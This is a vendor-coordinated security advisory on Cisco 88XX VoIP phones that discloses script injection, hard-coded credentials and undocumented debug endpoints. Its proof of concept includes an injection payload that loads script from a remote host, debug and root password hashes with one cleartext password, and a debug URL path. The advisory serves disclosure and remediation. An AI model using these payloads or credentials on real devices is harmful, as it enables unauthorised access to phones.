Cisco VoIP Script Insertion / Weak Passwords / Undocumented Functionality

`SEC Consult Vulnerability Lab Security Advisory < 20190109-0 >  
=======================================================================  
title: Multiple Vulnerabilities  
product: Cisco VoIP Phones, e.g. models 88XX  
vulnerable version: See list of vulnerable devices/firmwares below  
fixed version: 12.5.1 MN  
CVE number: CVE-2018-0461  
impact: high  
homepage: https://www.cisco.com  
found: 10/2018  
by: W. Schober, IoT Inspector (Office Vienna)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult  
Europe | Asia | North America  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"The Cisco IP Phone 8800 Series is a great fit for businesses of all sizes  
seeking secure, high-quality, full-featured VoIP. Select models provide  
affordable entry to HD video and support for highly-active, in-campus mobile  
workers."  
  
Source:  
https://www.cisco.com/c/en/us/products/collaboration-endpoints/unified-ip-phone-8800-series/index.html  
  
  
Business recommendation:  
------------------------  
SEC Consult recommends to update the devices to the newest firmware (12.5.1 MN),  
where all the documented issues are fixed according to the vendor.  
  
We want to thank Cisco for the very professional response and great coordination.  
  
  
Vulnerability overview/description:  
-----------------------------------  
1) Arbitrary Script Injection  
The VOIP phones can be managed directly via the integrated keyboard and the  
built-in screen. In the configuration menu a few spots allow users to input  
text via the integrated keyboard into text boxes (e.g. Hostname). Those text  
input fields are prone to JavaScript-like code injection. An attacker is able  
to inject arbitrary payloads via the T9 keyboard.  
  
  
2) Hard coded and weak secrets  
(Identified during an automated firmware analysis by IoT Inspector)  
The firmware, which is directly served from Cisco, contains multiple hard coded  
password hashes. They are stored in the /etc/passwd file and are hashed using  
an outdated algorithm (UNIX MD5+salt). The users are not documented anywhere.  
Access via SSH using those credentials is possible.  
  
Due to the outdated algorithm in use (UNIX MD5+Salt) and the very weak password  
it was easily possible to brute-force the password within seconds.  
  
  
3) Undocumented debug functionality  
During a manual firmware analysis a few undocumented endpoints in the  
built-in web application, which is running on the VOIP phone,  
were identified. Those routes lead to parts of the web application that are  
neither documented nor officially mentioned anywhere by Cisco. Those parts of  
the web application allow an attacker to debug the device and create memory  
dumps.  
  
  
4) Various outdated components with known vulnerabilities  
During the check a lot of outdated components were identified by their version  
numbers. It is not known which patches got backported by the vendor but Cisco  
mentioned that they have implemented some. The potentially affected components  
are:  
  
-) wpa_supplicant  
-) BusyBox  
-) Dnsmasq  
-) OpenSSL  
-) OpenSSH  
-) Linux Kernel Privilege Escalation app_keya  
-) Linux Kernel Privilege Escalation aMempodippera  
-) Multiple Linux Kernel CVE entries  
  
Please take a look at the IoT Inspector report for details:  
https://r.sec-consult.com/iotinspectorcisco  
  
  
Proof of concept:  
-----------------  
1) Arbitrary Script Injection  
A lot of settings can be changed directly on the VOIP phone via the built-in  
screen. There are also multiple locations, where user-input is parsed and  
displayed. It was possible to inject arbitrary (JavaScript) code directly into  
the phone UI. As an example the hostname of the VOIP Phone can be changed to  
the following value:  
  
hostnamea><img src=http://$IP/sec.js onload=exec()>  
  
The sec.js gets loaded from the remote host immediately and the exec function  
is executed.  
  
< A screenshot can be found online on our website >  
  
Further analysis has not been performed, but depending on the underlying  
libraries/system in use, it might be possible to get system level access via  
this attack vector.  
  
  
2) Hard coded and weak secrets  
The file at the following path contains a hard coded password for the user debug:  
/_rootfs288xx.12-0-1ES-15.sbn.extracted/squashfs-root/etc/passwd  
  
$1$aoJQnypw$vHpN9WTJEQn1UnHzJdoz71 (Type: MD5 (Unix))  
  
This hash corresponds to the following clear-text password: debug  
  
The password for the user root and default is also stored in the /etc/passwd:  
nCjlgBm7.lvX2 (Type: DES (Unix)) - Users: root, default  
  
  
3) Undocumented debug functionality  
The built-in VOIP phone web server offers multiple functionalities for the  
end-user. During a manual analysis, undocumented endpoints with critical  
functionality got identified. The functionality can be found by visiting  
the following endpoint:  
  
https://$VOIP-Phone-IP/CGI/Java/Monitor  
  
Offered functionality includes:  
-) Memory Info  
-) Garbage Collection  
-) Thread Info  
-) Registration Info  
-) Properties  
-) Monitor Menu  
-) Lock Menu  
  
< A screenshot can be found online on our website >  
  
4) Various outdated components with known vulnerabilities  
No PoC available  
  
  
Vulnerable / tested versions:  
-----------------------------  
The following firmware/device has been tested with IoT Inspector and manually:  
* Cisco IP Phone 88xx: Firmware version 12-0-1 ES-15 (ID: f86aa7612d9311e6)  
  
The following devices are also vulnerable according to the vendor:  
* IP Conference Phone 8832  
* IP Phone 8811  
* IP Phone 8841  
* IP Phone 8845  
* IP Phone 8851  
* IP Phone 8861  
* IP Phone 8865  
* Unified IP Conference Phone 8831  
* Wireless IP Phone 8821  
* Wireless IP Phone 8821-EX  
  
  
Vendor contact timeline:  
------------------------  
2018-10-17: Contacting Cisco PSIRT through [email protected]  
2018-10-17: Initial response from Cisco PSIRT. Assigned ID: PSIRT-0289060835  
Cisco PSIRT requests that the public disclosure should be  
shifted to January 2019 to avoid public christmas holidays.  
2018-10-18: Contacting Cisco PSIRT and agreeing on public disclosure date  
2019-01-09.  
2018-10-24: Update from Cisco that a case owner got assigned.  
2018-10-29: Update from Cisco that they are still reviewing the vulnerabilities  
and that they have already requested CVEs.  
2018-11-05: Update from Cisco with further details about the internal scheduling.  
2018-11-12: Update from Cisco with further details about CVEs.  
2018-11-12: Cisco assigned CVE-2018-0461 and informed us that the vulnerabilities  
will be fixed in an upcoming release at the end of the year;  
Requesting affected/fixed versions.  
2018-11-30: Cisco responds with affected devices and firmwares. Requesting  
updated firmware to do another IoT inspector scan, to verify the  
fixes.  
2019-01-09: Public release of security advisory  
  
  
Solution:  
---------  
Update the firmware of the affected devices to at least 12.5.1 MN.  
  
The vendor has published a security advisory as well:  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190109-phone-script-injection  
  
  
Workaround:  
-----------  
Disable the built-in web server  
Segment the VOIP network in a way, that access for devices other  
than VoIP phones in any direction is not possible at all.  
Remove the debug user  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
  
SEC Consult  
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EOF W. Schober / @2019  
  
`